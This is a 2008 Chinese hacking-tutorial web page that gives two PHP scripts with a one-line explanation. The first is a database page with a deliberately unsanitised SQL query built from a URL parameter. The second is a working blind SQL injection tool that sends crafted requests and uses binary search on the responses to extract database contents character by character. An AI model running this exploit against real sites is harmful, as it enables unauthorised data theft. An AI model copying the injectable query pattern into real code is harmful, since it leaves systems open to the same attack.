加入收藏 设为首页
博客 友圈 商城
留言 搜索 投搞
首页 | 网络动态 | 技术文章 | 下载中心 | 设计 | 摄影 | 精彩Flash | 摄影作品 | 顶客排行 | 悠乐论坛
>首页 -> 技术文章 -> 黑客安全

TOP

PHP二分法注射猜解
[ 录入者:riqukiqpl | 时间:2008-10-09 03:36:36 | 作者: | 来源: | 浏览:34次 ]
简介: PHP代码 <?php    $conn = new com("ADODB.Connection");    $connstr = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=".&nb..
  1. <?php   
  2. $conn = new com("ADODB.Connection");   
  3. $connstr = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=". realpath("data.mdb");   
  4.   
  5. $conn->Open($connstr);   
  6. $rs = new com("ADODB.RecordSet");   
  7. $sql="select * from news where id=".$_GET[id];   
  8. $rs->Open($sql,$conn,1,1);   
  9. if(! $rs->eof) {   
  10. echo "{ok}";   
  11. } else{   
  12. echo "{no}";   
  13. }   
  14. ?>  

存在注射的。但是没有输出结果,只是判断是否存在。

  1. <?php   
  2.   
  3. error_reporting(7);   
  4. ini_set('max_execution_time', 0);   
  5.   
  6. function send(){   
  7. global $host,$cmd;   
  8. //$cmd .= "";   
  9. $message = "GET /b.php?id=".$cmd." HTTP/1.1\r\n";   
  10. $message .= "Accept: */*\r\n";   
  11. $message .= "Accept-Language: zh-cn\r\n";   
  12. $message .= "Content-Type: application/x-www-form-urlencoded\r\n";   
  13. $message .= "Host: $host\r\n";   
  14. $message .= "Connection: Close\r\n\r\n";   
  15.   
  16. $fp = fsockopen($host, 80);   
  17. fputs($fp, $message);   
  18.   
  19. $resp = '';   
  20.   
  21. while ($fp && !feof($fp))   
  22. $resp .= fread($fp, 1024);   
  23. preg_match('/\{ok\}/', $resp, $pre);   
  24. if ($pre) return true;   
  25. }   
  26.   
  27. function Binsearch($sql){   
  28. global $cmd;   
  29. $low="32";   
  30. $high="128";   
  31. while($low<=$high){   
  32. $mid=intval(($low+$high)/2);   
  33. $cmd= $sql."=".$mid;   
  34. echo "$mid";   
  35. if(send()){echo "Lucky\r\n";return $mid;}   
  36. $cmd= $sql."<".$mid;   
  37. if(send()){   
  38. $high=$mid-1;   
  39. echo "Bigger\r\n";   
  40. }else{   
  41. $low=$mid+1;   
  42. echo "Smaller\r\n";   
  43. }   
  44. }   
  45. return(-1);   
  46. }   
  47.   
  48. $host="127.0.0.1:8080";   
  49. $sql="15%20and%20asc(left(name,1))";   
  50. echo Binsearch($sql);   
  51. ?>  
0
】【打印繁体】【投稿】【收藏】 【推荐】【举报】 【关闭】 【返回顶部
[上一篇]Access在线解密[PHP源码] [下一篇]POST提交实现ASP网站收信

评论

称  呼:
验 证 码:
内  容:

相关栏目

最新文章

热门文章

推荐文章

相关文章

广告位